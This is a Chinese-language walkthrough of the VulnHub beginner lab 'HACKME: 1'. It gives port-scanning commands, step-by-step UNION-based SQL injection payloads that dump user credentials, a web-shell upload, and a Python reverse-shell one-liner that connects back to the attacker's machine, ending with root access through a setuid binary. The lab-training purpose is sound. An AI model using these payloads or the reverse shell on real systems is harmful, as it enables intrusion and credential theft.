本篇将分享一个来源于VulnHub社区,适合初学者的靶机HACKME: 1
链接 | https://www.vulnhub.com/entry/hackme-1,330/ |
---|---|
发布日期 | 2019年7月18日 |
作者 | x4bx54 |
难度 | 初学者,简单 |
'hackme' is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as root. The lab was created to mimic real life environment.
"hackme"是一个初学者难度级别的框。目标是通过 Web 漏洞获得有限的特权访问,然后将特权升级为 root。该靶机的创建是为了模拟现实生活环境。
官网链接直接下载
觉得官网下载慢的朋友,可以后台回复 H1 获取资源
下载好后直接将ova文件拖入VMware虚拟机即可,也可以使用VirtualBox 创建
创建完成
点击 ▶开启此虚拟机
攻击机使用Kali Linux (IP:192.168.64.128)
arp-scan -l
发现目标主机 192.168.64.137
masscan 192.168.64.137 --rate=10000 --ports 0-65535
识别2个开放的tcp端口22,80
nmap -T4 -sV -O -p22,80 192.168.64.137
-sV
服务版本 -T4
速度(最高为5,推荐用4) -O
系统 -p
指定端口
22是ssh
,80是Apache http
服务
目录扫描工具进行扫描,看能否找到可利用信息
访问该链接http://192.168.64.137/register.php
,是一个网站注册页面
创建一个密码为safefox的用户safefox并登录。
这种网站类似于图书目录查询网站
可能有注入点
尝试进行手动 SQL 注入
01-判断类型
s' or 1=1-- -
单引号字符型注入
02-确定显示位
使用 UNION 命令来查找其中存在的列数
s' union select 1,2-- -
s' union select 1,2,3-- -
03-查询基本信息
识别正在使用的数据库
s' union select database(),2,3-- -
webapphacking
识别 SQL 数据库的版本
s' union select version(),2,3-- -
04-查找所有数据库
s' union select schema_name,2,3 FROM information_schema.schemata-- -
05-获取表名
s' union select group_concat(table_name separator 0x3c62723e),2,3 from information_schema.tables where table_schema=database()-- -
06-获取特定表列名
获取书籍和用户的列名
s' union select column_name,2,3 from information_schema.columns where table_name = 'books' -- -
s' union select column_name,2,3 from information_schema.columns where table_name = 'users' -- -
07-获取数据
s' union select group_concat(user,":",pasword),2,3 from users -- -
破解superadmin用户的密码hash:superadmin:2386acb2cf356944177746fc92523983
superadmin:Uncrackable
登录管理员用户网页,发现上传点
上传2.php
上传成功,并知道文件已经上传到uploads文件夹
尝试访问http://192.168.64.137/uploads/2.php
接下来使用harkbar工具传递执行 python反弹shell
http://192.168.64.137/uploads/2.php?cmd=python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.64.128",6666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
攻击机nc监听
反弹成功!
通过以下命令获取一个标准shell
python -c 'import pty; pty.spawn("/bin/bash")'
识别存在的用户
在/home/legacy文件夹中发现存在touchmenot二进制文件,执行touchmenot即可获取ROOT权限。
./touchmenot